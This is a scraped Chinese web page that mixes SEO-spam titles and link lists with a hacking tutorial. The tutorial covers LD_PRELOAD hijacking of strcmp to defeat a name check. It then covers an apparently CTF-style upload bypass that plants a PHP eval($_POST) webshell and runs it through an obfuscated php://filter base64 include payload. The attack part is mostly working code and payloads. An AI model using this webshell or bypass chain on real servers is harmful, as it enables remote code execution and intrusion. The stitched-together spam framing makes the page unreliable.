当前位置: 首页 > news >正文

效果图制作网站网络营销策划书2000字

效果图制作网站,网络营销策划书2000字,上海猎头公司对个人怎么收费,游戏网站建设方案书LD_PRELOAD LD_PRELOAD是Linux/Unix系统的一个环境变量,它可以影响程序的运行时的链接,它允许在程序运行前定义优先加载的动态链接库。通过这个环境变量,可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖系统的函数…

LD_PRELOAD

LD_PRELOAD是Linux/Unix系统的一个环境变量,它可以影响程序的运行时的链接,它允许在程序运行前定义优先加载的动态链接库。通过这个环境变量,可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖系统的函数库。

LD_PRELOAD 超脱于动态链接库的搜索路径先后顺序之外,它可以指定在程序运行前优先加载的动态链接库。

具体的操作步骤如下:

  1. 定义一个函数,函数的名称、变量及变量类型、返回值及返回值类型都要与要替换的函数完全一致。这就要求我们在写动态链接库之前要先去翻看一下对应手册等。
  2. 将所写的 c 文件编译为动态链接库。
  3. 对 LD_PRELOAD 及逆行设置,值为库文件路径,接下来就可以实现对目标函数原功能的劫持了
  4. 结束攻击,使用命令 unset LD_PRELOAD 即可

whoami.c

#include <stdio.h>
#include <string.h>int main(int argc, char **argv) {char name[] = "mon";if (argc < 2) {printf("usage: %s <given-name>\n", argv[0]);return 0;}if (!strcmp(name, argv[1])) {printf("\033[0;32;32mYour name Correct!\n\033[m");return 1;} else {printf("\033[0;32;31mYour name Wrong!\n\033[m");return 0;}
}

接下来写一个动态链接库,目标函数为这里进行判断的 strcmp 函数

hook_strcmp.c

#include <stdlib.h>
#include <string.h>
int strcmp(const char *s1, const char *s2) {if (getenv("LD_PRELOAD") == NULL) {return 0;}unsetenv("LD_PRELOAD");return 0;
}

由于我们通过 LD_PRELOAD 劫持了函数,劫持后启动了一个新进程,若不在新进程启动前取消 LD_PRELOAD,则将陷入无限循环,所以必须得删除环境变量 LD_PRELOAD,最直接的就是调用 unsetenv("LD_PRELOAD")

 

然后进行编译,并且通过hook_strcmp.c 生成一个动态链接文件如下代码:

root@kunkun-virtual-machine:~# gcc -shared -fPIC hook_strcmp.c -o hook_strcmp.so
gcc -o whoami whoami.c

测试

root@kunkun-virtual-machine:~# ./whoami  aaa

You Name Wrong!

我们再加载一下环境变量,加载了环境变量后就意味着我们劫持成功了,
export LD_PRELOAD=$PWD/hook_strcmp.so

root@kunkun-virtual-machine:~# ./whoami  aaa

You Name Correct

绕过过滤
直接写一句话后门

<?php eval($_POST[1]); ?>

然后上传成功,拿到文件名

但是想要执行,反引号被ban了

那就用到php://filter解码一句话后门,然后再结合include:

php://filter/read=convert.base64-decode/resource=可以让后面的内容以php文件执行

include可以让php文件自动执行

那么就可以写成

<?php Includ("php://filter/read=convert.base64-decode/resource=5032242ac3f2c4552f7026dd956f4113.php"); ?>

思路就是利用伪协议让后门可执行,然后利用include自动执行

问题1.include被过滤了

        php函数不区分大小写,所以改成Include即可

问题2.伪协议被过滤了

        将php://filter/read=convert.base64-decode/resource=5032242ac3f2c4552f7026dd956f4113.php

整个进行base64编码即可

最后payload为:

<?php Include(base64_decode("cGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZGVjb2RlL3Jlc291cmNlPTUwMzIyNDJhYzNmMmM0NTUyZjcwMjZkZDk1NmY0MTEzLnBocA==")); ?>

 

http://www.yidumall.com/news/58182.html

相关文章:

  • 怎么做关于梦想的网站免费的免费网站安全软件下载
  • 爱站网在线全集私人影视图片优化
  • 长春电商网站建设哪家专业宁波正规优化seo软件
  • 做网站可以用新建项目的方式吗网店运营
  • 有哪些网站可以用网站文章优化技巧
  • jekyll做公司网站个人网站模板
  • 无锡网站建设设计友情链接是什么
  • 莆田网站建设方案优化新媒体销售好做吗
  • 龙口建网站价格搜索引擎广告推广
  • 陕西网站建设托管东营seo整站优化
  • 做flash的网站免费拓客软件排行榜
  • 政府网站数据开放 建设方案seo网站推广案例
  • 响应式网站视频会计培训班推荐
  • 页面设计美观青山seo排名公司
  • 环球军事网最新军事新闻做关键词优化的公司
  • 做网站都有什么成本免费引流在线推广
  • 网站优化分析温州seo招聘
  • 成都网站设计得多少钱北京seo外包
  • 办公软件广告投放优化师
  • 国际免费b2b网站大全在线优化seo
  • 庆阳网页设计背景陕西整站关键词自然排名优化
  • 广州新塘建网站2345软件为什么没人管
  • 电子商务网站建设实训总结新app推广方案
  • 专门做物理的网站合肥seo推广培训班
  • 网站做推广需要什么seo关键词排名软件流量词
  • 太原建站公司有哪些百度发布信息的免费平台
  • 拿p5.js做的网站互联网平台推广怎么做
  • 有哪些在线做图的网站天津优化网络公司的建议
  • 做英雄联盟网站的图片素材百度手机助手app免费下载
  • 广州移动 网站建设外链平台